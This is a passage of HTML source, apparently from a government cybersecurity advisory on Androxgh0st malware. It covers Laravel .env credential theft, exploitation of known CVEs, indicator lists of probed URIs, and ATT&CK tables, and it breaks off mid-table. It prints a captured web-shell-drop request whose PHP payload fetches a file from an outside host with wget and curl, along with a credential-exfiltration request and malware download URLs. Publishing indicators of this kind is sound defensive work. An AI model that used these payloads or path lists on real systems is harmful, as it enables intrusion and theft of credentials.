  4513. &lt;p&gt;Malicious actors likely use Androxgh0st to download malicious files [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1105/" title="Ingress Tool Transfer"&gt;T1105&lt;/a&gt;] to the system hosting the website. Threat actors are further able to set up a fake (illegitimate) page accessible via the URI to provide backdoor access to the website. This allows threat actors to download additional malicious files for their operations and access databases.&lt;/p&gt;
  4514. &lt;h4&gt;&lt;strong&gt;Laravel Framework Targeting&lt;/strong&gt;&lt;/h4&gt;
  4515. &lt;p&gt;Androxgh0st malware establishes a botnet to scan for websites using the Laravel web application framework. After identifying websites using the Laravel web application, threat actors attempt to determine if the domain’s root-level &lt;code&gt;.env&lt;/code&gt; file is exposed and contains credentials for accessing additional services. &lt;strong&gt;Note:&lt;/strong&gt; &lt;code&gt;.env&lt;/code&gt; files commonly store credentials and tokens. Threat actors often target &lt;code&gt;.env&lt;/code&gt; files to steal these credentials within the environment variables.&lt;/p&gt;
  4516. &lt;p&gt;If the &lt;code&gt;.env&lt;/code&gt; file is exposed, threat actors will issue a GET request to the &lt;code&gt;/.env&lt;/code&gt; URI to attempt to access the data on the page. Alternatively, Androxgh0st may issue a POST request to the same URI with a POST variable named &lt;code&gt;0x[]&lt;/code&gt; containing certain data sent to the web server. This data is frequently used as an identifier for the threat actor. This method appears to be used for websites in debug mode (i.e., when non-production websites are exposed to the internet). A successful response from either of these methods allows the threat actors to look for usernames, passwords, and/or other credentials pertaining to services such as email (via SMTP) and AWS accounts.&lt;/p&gt;
  4517. &lt;p&gt;Androxgh0st malware can also access the application key [&lt;a href="https://attack.mitre.org/versions/v14/tactics/TA0006/" title="Credential Access"&gt;TA0006&lt;/a&gt;] for the Laravel application on the website. If the threat actors successfully identify the Laravel application key, they will attempt exploitation by using the key to encrypt PHP code [&lt;a href="https://attack.mitre.org/versions/v13/techniques/T1027/010/" title="Obfuscated Files or Information: Command Obfuscation"&gt;T1027.010&lt;/a&gt;]. The encrypted code is then passed to the website as a value in the cross-site forgery request (XSRF) token cookie, &lt;code&gt;XSRF-TOKEN&lt;/code&gt;, and included in a future GET request to the website. The vulnerability defined in &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2018-15133" title="CVE-2018-15133"&gt;CVE-2018-15133&lt;/a&gt; indicates that on Laravel applications, XSRF token values are subject to an un-serialized call, which can allow for remote code execution. In doing so, the threat actors can upload files to the website via remote access.&lt;/p&gt;
  4518. &lt;h4&gt;&lt;strong&gt;Apache Web Server Targeting&lt;/strong&gt;&lt;/h4&gt;
  4519. &lt;p&gt;In correlation with &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2021-41773" title="CVE-2021-41773"&gt;CVE-2021-41773&lt;/a&gt;, Androxgh0st&lt;em&gt; &lt;/em&gt;actors have been observed scanning vulnerable web servers [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1595/002/" title="Active Scanning: Vulnerability Scanning"&gt;T1595.002&lt;/a&gt;] running Apache HTTP Server versions 2.4.49 or 2.4.50. Threat actors can identify uniform resource locators (URLs) for files outside root directory through a path traversal attack [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1083/" title="File and Directory Discovery"&gt;T1083&lt;/a&gt;]. If these files are not protected by the “request all denied” configuration and Common Gateway Interface (CGI) scripts are enabled, this may allow for remote code execution.&lt;/p&gt;
  4520. &lt;p&gt;If threat actors obtain credentials for any services using the above methods, they may use these credentials to access sensitive data or use these services to conduct additional malicious operations. For example, when threat actors successfully identify and compromise AWS credentials from a vulnerable website, they have been observed attempting to create new users and user policies [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1136/" title="Create Account"&gt;T1136&lt;/a&gt;]. Additionally, Andoxgh0st actors have been observed creating new AWS instances to use for conducting additional scanning activity [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1583/006/" title="Acquire Infrastructure: Web Services"&gt;T1583.006&lt;/a&gt;].&lt;/p&gt;
  4521. &lt;h3&gt;&lt;strong&gt;INDICATORS OF COMPROMISE (IOCs)&lt;/strong&gt;&lt;/h3&gt;
  4522. &lt;p&gt;Based on investigations and analysis, the following requests are associated with Androxgh0st activity:&lt;/p&gt;
  4523. &lt;ul&gt;
  4524. &lt;li&gt;Incoming GET and POST requests to the following URIs:
  4525. &lt;ul&gt;
  4526. &lt;li&gt;&lt;code&gt;/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4527. &lt;li&gt;&lt;code&gt;/.env&lt;/code&gt;&lt;/li&gt;
  4528. &lt;/ul&gt;
  4529. &lt;/li&gt;
  4530. &lt;li&gt;Incoming POST requests with the following strings:
  4531. &lt;ul&gt;
  4532. &lt;li&gt;&lt;code&gt;[0x%5B%5D=androxgh0st]&lt;/code&gt;&lt;/li&gt;
  4533. &lt;li&gt;&lt;code&gt;ImmutableMultiDict([('0x[]', 'androxgh0st')])&lt;/code&gt;&lt;/li&gt;
  4534. &lt;/ul&gt;
  4535. &lt;/li&gt;
  4536. &lt;/ul&gt;
  4537. &lt;p&gt;In both previously listed POST request strings, the name &lt;code&gt;androxgh0st&lt;/code&gt; has been observed to be replaced with other monikers.&lt;/p&gt;
  4538. &lt;p&gt;Additional URIs observed by the FBI and a trusted third party used by these threat actors for credential exfiltration include:&lt;/p&gt;
  4539. &lt;ul&gt;
  4540. &lt;li&gt;&lt;code&gt;/info&lt;/code&gt;&lt;/li&gt;
  4541. &lt;li&gt;&lt;code&gt;/phpinfo&lt;/code&gt;&lt;/li&gt;
  4542. &lt;li&gt;&lt;code&gt;/phpinfo.php&lt;/code&gt;&lt;/li&gt;
  4543. &lt;li&gt;&lt;code&gt;/?phpinfo=1&lt;/code&gt;&lt;/li&gt;
  4544. &lt;li&gt;&lt;code&gt;/frontend_dev.php/$&lt;/code&gt;&lt;/li&gt;
  4545. &lt;li&gt;&lt;code&gt;/_profiler/phpinfo&lt;/code&gt;&lt;/li&gt;
  4546. &lt;li&gt;&lt;code&gt;/debug/default/view?panel=config&lt;/code&gt;&lt;/li&gt;
  4547. &lt;li&gt;&lt;code&gt;/config.json&lt;/code&gt;&lt;/li&gt;
  4548. &lt;li&gt;&lt;code&gt;/.json&lt;/code&gt;&lt;/li&gt;
  4549. &lt;li&gt;&lt;code&gt;/.git/config&lt;/code&gt;&lt;/li&gt;
  4550. &lt;li&gt;&lt;code&gt;/live_env&lt;/code&gt;&lt;/li&gt;
  4551. &lt;li&gt;&lt;code&gt;/.env.dist&lt;/code&gt;&lt;/li&gt;
  4552. &lt;li&gt;&lt;code&gt;/.env.save&lt;/code&gt;&lt;/li&gt;
  4553. &lt;li&gt;&lt;code&gt;/environments/.env.production&lt;/code&gt;&lt;/li&gt;
  4554. &lt;li&gt;&lt;code&gt;/.env.production.local&lt;/code&gt;&lt;/li&gt;
  4555. &lt;li&gt;&lt;code&gt;/.env.project&lt;/code&gt;&lt;/li&gt;
  4556. &lt;li&gt;&lt;code&gt;/.env.development&lt;/code&gt;&lt;/li&gt;
  4557. &lt;li&gt;&lt;code&gt;/.env.production&lt;/code&gt;&lt;/li&gt;
  4558. &lt;li&gt;&lt;code&gt;/.env.prod&lt;/code&gt;&lt;/li&gt;
  4559. &lt;li&gt;&lt;code&gt;/.env.development.local&lt;/code&gt;&lt;/li&gt;
  4560. &lt;li&gt;&lt;code&gt;/.env.old&lt;/code&gt;&lt;/li&gt;
  4561. &lt;li&gt;&lt;code&gt;/&amp;lt;insert-directory&amp;gt;/.env&amp;nbsp;&lt;/code&gt;
  4562. &lt;ul&gt;
  4563. &lt;li&gt;&lt;strong&gt;Note: &lt;/strong&gt;the actor may attempt multiple different potential URI endpoints scanning for the &lt;code&gt;.env&lt;/code&gt; file, for example &lt;code&gt;/docker/.env or /local/.env&lt;/code&gt;.&lt;/li&gt;
  4564. &lt;/ul&gt;
  4565. &lt;/li&gt;
  4566. &lt;li&gt;&lt;code&gt;/.aws/credentials&lt;/code&gt;&lt;/li&gt;
  4567. &lt;li&gt;&lt;code&gt;/aws/credentials&lt;/code&gt;&lt;/li&gt;
  4568. &lt;li&gt;&lt;code&gt;/.aws/config&lt;/code&gt;&lt;/li&gt;
  4569. &lt;li&gt;&lt;code&gt;/.git&lt;/code&gt;&lt;/li&gt;
  4570. &lt;li&gt;&lt;code&gt;/.test&lt;/code&gt;&lt;/li&gt;
  4571. &lt;li&gt;&lt;code&gt;/admin&lt;/code&gt;&lt;/li&gt;
  4572. &lt;li&gt;&lt;code&gt;/backend&lt;/code&gt;&lt;/li&gt;
  4573. &lt;li&gt;&lt;code&gt;/app&lt;/code&gt;&lt;/li&gt;
  4574. &lt;li&gt;&lt;code&gt;/current&lt;/code&gt;&lt;/li&gt;
  4575. &lt;li&gt;&lt;code&gt;/demo&lt;/code&gt;&lt;/li&gt;
  4576. &lt;li&gt;&lt;code&gt;/api&lt;/code&gt;&lt;/li&gt;
  4577. &lt;li&gt;&lt;code&gt;/backup&lt;/code&gt;&lt;/li&gt;
  4578. &lt;li&gt;&lt;code&gt;/beta&lt;/code&gt;&lt;/li&gt;
  4579. &lt;li&gt;&lt;code&gt;/cron&lt;/code&gt;&lt;/li&gt;
  4580. &lt;li&gt;&lt;code&gt;/develop&lt;/code&gt;&lt;/li&gt;
  4581. &lt;li&gt;&lt;code&gt;/Laravel&lt;/code&gt;&lt;/li&gt;
  4582. &lt;li&gt;&lt;code&gt;/laravel/core&lt;/code&gt;&lt;/li&gt;
  4583. &lt;li&gt;&lt;code&gt;/gists/cache&lt;/code&gt;&lt;/li&gt;
  4584. &lt;li&gt;&lt;code&gt;/test.php&lt;/code&gt;&lt;/li&gt;
  4585. &lt;li&gt;&lt;code&gt;/info.php&lt;/code&gt;&lt;/li&gt;
  4586. &lt;li&gt;&lt;code&gt;//.env&lt;/code&gt;&lt;/li&gt;
  4587. &lt;li&gt;&lt;code&gt;/admin-app/.env%20&lt;/code&gt;&lt;/li&gt;
  4588. &lt;li&gt;&lt;code&gt;/laravel/.env%20&lt;/code&gt;&lt;/li&gt;
  4589. &lt;li&gt;&lt;code&gt;/shared/.env%20&lt;/code&gt;&lt;/li&gt;
  4590. &lt;li&gt;&lt;code&gt;/.env.project%20&lt;/code&gt;&lt;/li&gt;
  4591. &lt;li&gt;&lt;code&gt;/apps/.env%20&lt;/code&gt;&lt;/li&gt;
  4592. &lt;li&gt;&lt;code&gt;/development/.env%20&lt;/code&gt;&lt;/li&gt;
  4593. &lt;li&gt;&lt;code&gt;/live_env%20&lt;/code&gt;&lt;/li&gt;
  4594. &lt;li&gt;&lt;code&gt;/.env.development%20&lt;/code&gt;&lt;/li&gt;
  4595. &lt;/ul&gt;
  4596. &lt;h5&gt;&lt;strong&gt;Targeted URIs for web-shell drop:&lt;/strong&gt;&lt;/h5&gt;
  4597. &lt;ul&gt;
  4598. &lt;li&gt;&lt;code&gt;/.env/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4599. &lt;li&gt;&lt;code&gt;//admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4600. &lt;li&gt;&lt;code&gt;//api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4601. &lt;li&gt;&lt;code&gt;//backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4602. &lt;li&gt;&lt;code&gt;//blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4603. &lt;li&gt;&lt;code&gt;//cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4604. &lt;li&gt;&lt;code&gt;//demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4605. &lt;li&gt;&lt;code&gt;//dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4606. &lt;li&gt;&lt;code&gt;//laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4607. &lt;li&gt;&lt;code&gt;//lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4608. &lt;li&gt;&lt;code&gt;//lib/phpunit/phpunit/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4609. &lt;li&gt;&lt;code&gt;//lib/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4610. &lt;li&gt;&lt;code&gt;//lib/phpunit/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4611. &lt;li&gt;&lt;code&gt;//new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4612. &lt;li&gt;&lt;code&gt;//old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4613. &lt;li&gt;&lt;code&gt;//panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4614. &lt;li&gt;&lt;code&gt;//phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4615. &lt;li&gt;&lt;code&gt;//phpunit/phpunit/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4616. &lt;li&gt;&lt;code&gt;//phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4617. &lt;li&gt;&lt;code&gt;//phpunit/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4618. &lt;li&gt;&lt;code&gt;//protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4619. &lt;li&gt;&lt;code&gt;//sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/evalstdin.php&lt;/code&gt;&lt;/li&gt;
  4620. &lt;li&gt;&lt;code&gt;//vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4621. &lt;li&gt;&lt;code&gt;//vendor/phpunit/phpunit/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4622. &lt;li&gt;&lt;code&gt;//vendor/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4623. &lt;li&gt;&lt;code&gt;//vendor/phpunit/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4624. &lt;li&gt;&lt;code&gt;//wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4625. &lt;li&gt;&lt;code&gt;//wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4626. &lt;li&gt;&lt;code&gt;//wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4627. &lt;li&gt;&lt;code&gt;//wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4628. &lt;li&gt;&lt;code&gt;//www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4629. &lt;li&gt;&lt;code&gt;/admin/ckeditor/plugins/ajaxplorer/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4630. &lt;li&gt;&lt;code&gt;/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4631. &lt;li&gt;&lt;code&gt;/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4632. &lt;li&gt;&lt;code&gt;/api/vendor/phpunit/phpunit/src/Util/PHP/Template/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4633. &lt;li&gt;&lt;code&gt;/lab/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4634. &lt;li&gt;&lt;code&gt;/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4635. &lt;li&gt;&lt;code&gt;/laravel_web/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4636. &lt;li&gt;&lt;code&gt;/laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4637. &lt;li&gt;&lt;code&gt;/laravelao/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4638. &lt;li&gt;&lt;code&gt;/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4639. &lt;li&gt;&lt;code&gt;/lib/phpunit/phpunit/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4640. &lt;li&gt;&lt;code&gt;/lib/phpunit/phpunit/Util/PHP/eval&lt;/code&gt;&lt;/li&gt;
  4641. &lt;li&gt;&lt;code&gt;stdin.php%20/lib/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4642. &lt;li&gt;&lt;code&gt;/lib/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4643. &lt;li&gt;&lt;code&gt;/lib/phpunit/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4644. &lt;li&gt;&lt;code&gt;/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4645. &lt;li&gt;&lt;code&gt;/libraries/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4646. &lt;li&gt;&lt;code&gt;/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4647. &lt;li&gt;&lt;code&gt;/phpunit/phpunit/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4648. &lt;li&gt;&lt;code&gt;/phpunit/phpunit/Util/PHP/eval-stdin.php%20/phpunit/src/Util/PHP/evalstdin.php&lt;/code&gt;&lt;/li&gt;
  4649. &lt;li&gt;&lt;code&gt;/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4650. &lt;li&gt;&lt;code&gt;./phpunit/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4651. &lt;li&gt;&lt;code&gt;/phpunit/Util/PHP/eval-stdin.php%20/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4652. &lt;li&gt;&lt;code&gt;/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4653. &lt;li&gt;&lt;code&gt;/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php.dev&lt;/code&gt;&lt;/li&gt;
  4654. &lt;li&gt;&lt;code&gt;/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4655. &lt;li&gt;&lt;code&gt;/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php%20/vendor/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4656. &lt;li&gt;&lt;code&gt;/vendor/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4657. &lt;li&gt;&lt;code&gt;/vendor/phpunit/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4658. &lt;li&gt;&lt;code&gt;/vendor/phpunit/Util/PHP/eval-stdin.php%20&lt;/code&gt;&lt;/li&gt;
  4659. &lt;li&gt;&lt;code&gt;/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4660. &lt;li&gt;&lt;code&gt;/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4661. &lt;li&gt;&lt;code&gt;/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt;&lt;/li&gt;
  4662. &lt;/ul&gt;
  4663. &lt;h5&gt;&lt;strong&gt;An example of attempted credential exfiltration through (honeypot) open proxies:&lt;/strong&gt;&lt;/h5&gt;
  4664. &lt;p&gt;&lt;code&gt;POST /.aws/credentials HTTP/1.1&lt;/code&gt;&lt;br&gt;&lt;code&gt;host: www.example.com&lt;/code&gt;&lt;br&gt;&lt;code&gt;user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36&lt;/code&gt;&lt;br&gt;&lt;code&gt;accept-encoding: gzip, deflate&lt;/code&gt;&lt;br&gt;&lt;code&gt;accept: */*&lt;/code&gt;&lt;br&gt;&lt;code&gt;connection: keep-alive&lt;/code&gt;&lt;br&gt;&lt;code&gt;content-length: 20&lt;/code&gt;&lt;br&gt;&lt;code&gt;content-type: application/x-www-form-urlencoded&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;0x%5B%5D=androxgh0st&lt;/code&gt;&lt;/p&gt;
  4665. &lt;h5&gt;&lt;strong&gt;An example of attempted web-shell drop through (honeypot) open proxies:&lt;/strong&gt;&lt;/h5&gt;
  4666. &lt;p&gt;&lt;code&gt;GET http://www.example.com/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1&lt;/code&gt;&lt;br&gt;&lt;code&gt;host: www.example.com&lt;/code&gt;&lt;br&gt;&lt;code&gt;user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.76&lt;/code&gt;&lt;br&gt;&lt;code&gt;accept-encoding: gzip, deflate&lt;/code&gt;&lt;br&gt;&lt;code&gt;accept: */*&lt;/code&gt;&lt;br&gt;&lt;code&gt;connection: keep-alive&lt;/code&gt;&lt;br&gt;&lt;code&gt;x-forwarded-for: 200.172.238.135&lt;/code&gt;&lt;br&gt;&lt;code&gt;content-length: 279&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;&amp;lt;?php file_put_contents('evil.php',file_get_contents('hxxps://mc.rockylinux[.]si/seoforce/triggers/files/evil.txt')); system('wget hxxps://mc.rockylinux[.]si/seoforce/triggers/files/evil.txt -O evil.php;curl hxxps://mc.rockylinux[.]si/seoforce/triggers/files/evil.txt -O evil.php'); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;
  4667. &lt;h5&gt;&lt;strong&gt;Monikers used instead of Androxgh0st (0x%5B%5D=???):&lt;/strong&gt;&lt;/h5&gt;
  4668. &lt;ul&gt;
  4669. &lt;li&gt;Ridho&lt;/li&gt;
  4670. &lt;li&gt;Aws&lt;/li&gt;
  4671. &lt;li&gt;0x_0x&lt;/li&gt;
  4672. &lt;li&gt;x_X&lt;/li&gt;
  4673. &lt;li&gt;nopebee7&lt;/li&gt;
  4674. &lt;li&gt;SMTPEX&lt;/li&gt;
  4675. &lt;li&gt;evileyes0&lt;/li&gt;
  4676. &lt;li&gt;privangga&lt;/li&gt;
  4677. &lt;li&gt;drcrypter&lt;/li&gt;
  4678. &lt;li&gt;errorcool&lt;/li&gt;
  4679. &lt;li&gt;drosteam&lt;/li&gt;
  4680. &lt;li&gt;androxmen&lt;/li&gt;
  4681. &lt;li&gt;crack3rz&lt;/li&gt;
  4682. &lt;li&gt;b4bbyghost&lt;/li&gt;
  4683. &lt;li&gt;0x0day&lt;/li&gt;
  4684. &lt;li&gt;janc0xsec&lt;/li&gt;
  4685. &lt;li&gt;blackb0x&lt;/li&gt;
  4686. &lt;li&gt;0x1331day&lt;/li&gt;
  4687. &lt;li&gt;Graber&lt;/li&gt;
  4688. &lt;/ul&gt;
  4689. &lt;h5&gt;&lt;strong&gt;Example malware drops through eval-stdin.php:&lt;/strong&gt;&lt;/h5&gt;
  4690. &lt;p&gt;&lt;code&gt;hxxps://mc.rockylinux[.]si/seoforce/triggers/files/evil.txt&lt;/code&gt;&lt;br&gt;&lt;code&gt;59e90be75e51c86b4b9b69dcede2cf815da5a79f7e05cac27c95ec35294151f4&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;hxxps://chainventures.co[.]uk/.well-known/aas&lt;/code&gt;&lt;br&gt;&lt;code&gt;dcf8f640dd7cc27d2399cce96b1cf4b75e3b9f2dfdf19cee0a170e5a6d2ce6b6&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;hxxp://download.asyncfox[.]xyz/download/xmrig.x86_64&lt;/code&gt;&lt;br&gt;&lt;code&gt;23fc51fde90d98daee27499a7ff94065f7ed4ac09c22867ebd9199e025dee066&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;hxxps://pastebin[.]com/raw/zw0gAmpC&lt;/code&gt;&lt;br&gt;&lt;code&gt;ca45a14d0e88e4aa408a6ac2ee3012bf9994b16b74e3c66b588c7eabaaec4d72&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;hxxp://raw.githubusercontent[.]com/0x5a455553/MARIJUANA/master/MARIJUANA.php&lt;/code&gt;&lt;br&gt;&lt;code&gt;0df17ad20bf796ed549c240856ac2bf9ceb19f21a8cae2dbd7d99369ecd317ef&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;hxxp://45.95.147[.]236/tmp.x86_64&lt;/code&gt;&lt;br&gt;&lt;code&gt;6b5846f32d8009e6b54743d6f817f0c3519be6f370a0917bf455d3d114820bbc&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;hxxp://main.dsn[.]ovh/dns/pwer&lt;/code&gt;&lt;br&gt;&lt;code&gt;bb7070cbede294963328119d1145546c2e26709c5cea1d876d234b991682c0b7&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;hxxp://tangible-drink.surge[.]sh/configx.txt&lt;/code&gt;&lt;br&gt;&lt;code&gt;de1114a09cbab5ae9c1011ddd11719f15087cc29c8303da2e71d861b0594a1ba&lt;/code&gt;&lt;/p&gt;
  4691. &lt;h3&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK TACTICS AND TECHNIQUES&lt;/strong&gt;&lt;/h3&gt;
  4692. &lt;p&gt;See Tables 1-10 for all referenced threat actor tactics and techniques in this advisory.&lt;/p&gt;
  4693. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  4694. &lt;caption&gt;&lt;em&gt;Table 1: Reconnaissance&lt;/em&gt;&lt;/caption&gt;
  4695. &lt;thead&gt;
  4696. &lt;tr&gt;
  4697. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  4698. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  4699. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  4700. &lt;/tr&gt;
  4701. &lt;/thead&gt;
  4702. &lt;tbody&gt;
  4703. &lt;tr&gt;
  4704. &lt;td&gt;Active Scanning: Vulnerability Scanning&lt;/td&gt;
  4705. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1595/002/" title="Active Scanning: Vulnerability Scanning"&gt;T1595.002&lt;/a&gt;&lt;/td&gt;
  4706. &lt;td&gt;The threat actor scans websites for specific vulnerabilities to exploit.&lt;/td&gt;
  4707. &lt;/tr&gt;
  4708. &lt;/tbody&gt;
  4709. &lt;/table&gt;
  4710. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  4711. &lt;caption&gt;&lt;em&gt;Table 2: Resource Development&lt;/em&gt;&lt;/caption&gt;
  4712. &lt;thead&gt;
  4713. &lt;tr&gt;
  4714. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  4715. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  4716. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  4717. &lt;/tr&gt;
  4718. &lt;/thead&gt;
  4719. &lt;tbody&gt;
  4720. &lt;tr&gt;
  4721. &lt;td&gt;Acquire Infrastructure: Botnet&lt;/td&gt;
  4722. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1583/005/" title="Acquire Infrastructure: Botnet"&gt;T1583.005&lt;/a&gt;&lt;/td&gt;
  4723. &lt;td&gt;The threat actor establishes a botnet to identify and exploit victims.&lt;/td&gt;
  4724. &lt;/tr&gt;
  4725. &lt;tr&gt;
  4726. &lt;td&gt;Acquire Infrastructure: Web Services&lt;/td&gt;
  4727. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1583/006/" title="Acquire Infrastructure: Web Services"&gt;T1583.006&lt;/a&gt;&lt;/td&gt;
  4728. &lt;td&gt;The threat actor creates new AWS instances to use for scanning.&lt;/td&gt;
  4729. &lt;/tr&gt;
  4730. &lt;/tbody&gt;
